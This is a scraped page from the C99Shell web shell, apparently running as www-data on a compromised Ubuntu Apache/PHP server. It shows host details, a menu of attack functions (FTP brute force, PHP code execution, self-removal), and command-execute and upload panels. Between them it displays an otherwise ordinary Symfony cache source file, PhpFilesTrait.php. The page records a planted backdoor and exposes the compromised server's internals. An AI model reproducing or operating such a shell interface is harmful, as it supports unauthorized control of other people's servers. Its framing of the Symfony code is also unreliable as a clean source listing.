!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Component/Cache/Traits/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpFilesTrait.php (8.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Cache\Traits;

use 
Symfony\Component\Cache\Exception\CacheException;
use 
Symfony\Component\Cache\Exception\InvalidArgumentException;
use 
Symfony\Component\VarExporter\VarExporter;

/**
 * @author Piotr Stankowski <git@trakos.pl>
 * @author Nicolas Grekas <p@tchwork.com>
 * @author Rob Frawley 2nd <rmf@src.run>
 *
 * @internal
 */
trait PhpFilesTrait
{
    use 
FilesystemCommonTrait {
        
doClear as private doCommonClear;
        
doDelete as private doCommonDelete;
    }

    private 
$includeHandler;
    private 
$appendOnly;
    private 
$values = [];
    private 
$files = [];

    private static 
$startTime;

    public static function 
isSupported()
    {
        
self::$startTime self::$startTime ?? $_SERVER['REQUEST_TIME'] ?? time();

        return 
\function_exists('opcache_invalidate') && ('cli' !== \PHP_SAPI || filter_var(ini_get('opcache.enable_cli'), FILTER_VALIDATE_BOOLEAN)) && filter_var(ini_get('opcache.enable'), FILTER_VALIDATE_BOOLEAN);
    }

    
/**
     * @return bool
     */
    
public function prune()
    {
        
$time time();
        
$pruned true;
        
$getExpiry true;

        
set_error_handler($this->includeHandler);
        try {
            foreach (new 
\RecursiveIteratorIterator(new \RecursiveDirectoryIterator($this->directory\FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::LEAVES_ONLY) as $file) {
                try {
                    if (
\is_array($expiresAt = include $file)) {
                        
$expiresAt $expiresAt[0];
                    }
                } catch (
\ErrorException $e) {
                    
$expiresAt $time;
                }

                if (
$time >= $expiresAt) {
                    
$pruned $this->doUnlink($file) && !file_exists($file) && $pruned;
                }
            }
        } finally {
            
restore_error_handler();
        }

        return 
$pruned;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doFetch(array $ids)
    {
        if (
$this->appendOnly) {
            
$now 0;
            
$missingIds = [];
        } else {
            
$now time();
            
$missingIds $ids;
            
$ids = [];
        }
        
$values = [];

        
begin:
        
$getExpiry false;

        foreach (
$ids as $id) {
            if (
null === $value $this->values[$id] ?? null) {
                
$missingIds[] = $id;
            } elseif (
'N;' === $value) {
                
$values[$id] = null;
            } elseif (!
\is_object($value)) {
                
$values[$id] = $value;
            } elseif (!
$value instanceof LazyValue) {
                
// calling a Closure is for @deprecated BC and should be removed in Symfony 5.0
                
$values[$id] = $value();
            } elseif (
false === $values[$id] = include $value->file) {
                unset(
$values[$id], $this->values[$id]);
                
$missingIds[] = $id;
            }
            if (!
$this->appendOnly) {
                unset(
$this->values[$id]);
            }
        }

        if (!
$missingIds) {
            return 
$values;
        }

        
set_error_handler($this->includeHandler);
        try {
            
$getExpiry true;

            foreach (
$missingIds as $k => $id) {
                try {
                    
$file $this->files[$id] ?? $this->files[$id] = $this->getFile($id);

                    if (
\is_array($expiresAt = include $file)) {
                        [
$expiresAt$this->values[$id]] = $expiresAt;
                    } elseif (
$now $expiresAt) {
                        
$this->values[$id] = new LazyValue($file);
                    }

                    if (
$now >= $expiresAt) {
                        unset(
$this->values[$id], $missingIds[$k]);
                    }
                } catch (
\ErrorException $e) {
                    unset(
$missingIds[$k]);
                }
            }
        } finally {
            
restore_error_handler();
        }

        
$ids $missingIds;
        
$missingIds = [];
        goto 
begin;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doHave($id)
    {
        if (
$this->appendOnly && isset($this->values[$id])) {
            return 
true;
        }

        
set_error_handler($this->includeHandler);
        try {
            
$file $this->files[$id] ?? $this->files[$id] = $this->getFile($id);
            
$getExpiry true;

            if (
\is_array($expiresAt = include $file)) {
                [
$expiresAt$value] = $expiresAt;
            } elseif (
$this->appendOnly) {
                
$value = new LazyValue($file);
            }
        } catch (
\ErrorException $e) {
            return 
false;
        } finally {
            
restore_error_handler();
        }
        if (
$this->appendOnly) {
            
$now 0;
            
$this->values[$id] = $value;
        } else {
            
$now time();
        }

        return 
$now $expiresAt;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doSave(array $values$lifetime)
    {
        
$ok true;
        
$expiry $lifetime time() + $lifetime 'PHP_INT_MAX';
        
$allowCompile self::isSupported();

        foreach (
$values as $key => $value) {
            unset(
$this->values[$key]);
            
$isStaticValue true;
            if (
null === $value) {
                
$value "'N;'";
            } elseif (
\is_object($value) || \is_array($value)) {
                try {
                    
$value VarExporter::export($value$isStaticValue);
                } catch (
\Exception $e) {
                    throw new 
InvalidArgumentException(sprintf('Cache key "%s" has non-serializable %s value.'$key\is_object($value) ? \get_class($value) : 'array'), 0$e);
                }
            } elseif (
\is_string($value)) {
                
// Wrap "N;" in a closure to not confuse it with an encoded `null`
                
if ('N;' === $value) {
                    
$isStaticValue false;
                }
                
$value var_export($valuetrue);
            } elseif (!
is_scalar($value)) {
                throw new 
InvalidArgumentException(sprintf('Cache key "%s" has non-serializable %s value.'$key\gettype($value)));
            } else {
                
$value var_export($valuetrue);
            }

            if (!
$isStaticValue) {
                
// We cannot use a closure here because of https://bugs.php.net/76982
                
$value str_replace('\Symfony\Component\VarExporter\Internal\\'''$value);
                
$value "<?php\n\nnamespace Symfony\Component\VarExporter\Internal;\n\nreturn \$getExpiry ? {$expiry} : {$value};\n";
            } else {
                
$value "<?php return [{$expiry}{$value}];\n";
            }

            
$file $this->files[$key] = $this->getFile($keytrue);
            
// Since OPcache only compiles files older than the script execution start, set the file's mtime in the past
            
$ok $this->write($file$valueself::$startTime 10) && $ok;

            if (
$allowCompile) {
                @
opcache_invalidate($filetrue);
                @
opcache_compile_file($file);
            }
        }

        if (!
$ok && !is_writable($this->directory)) {
            throw new 
CacheException(sprintf('Cache directory is not writable (%s)'$this->directory));
        }

        return 
$ok;
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doClear($namespace)
    {
        
$this->values = [];

        return 
$this->doCommonClear($namespace);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function doDelete(array $ids)
    {
        foreach (
$ids as $id) {
            unset(
$this->values[$id]);
        }

        return 
$this->doCommonDelete($ids);
    }

    protected function 
doUnlink($file)
    {
        if (
self::isSupported()) {
            @
opcache_invalidate($filetrue);
        }

        return @
unlink($file);
    }
}

/**
 * @internal
 */
class LazyValue
{
    public 
$file;

    public function 
__construct($file)
    {
        
$this->file $file;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0148 ]--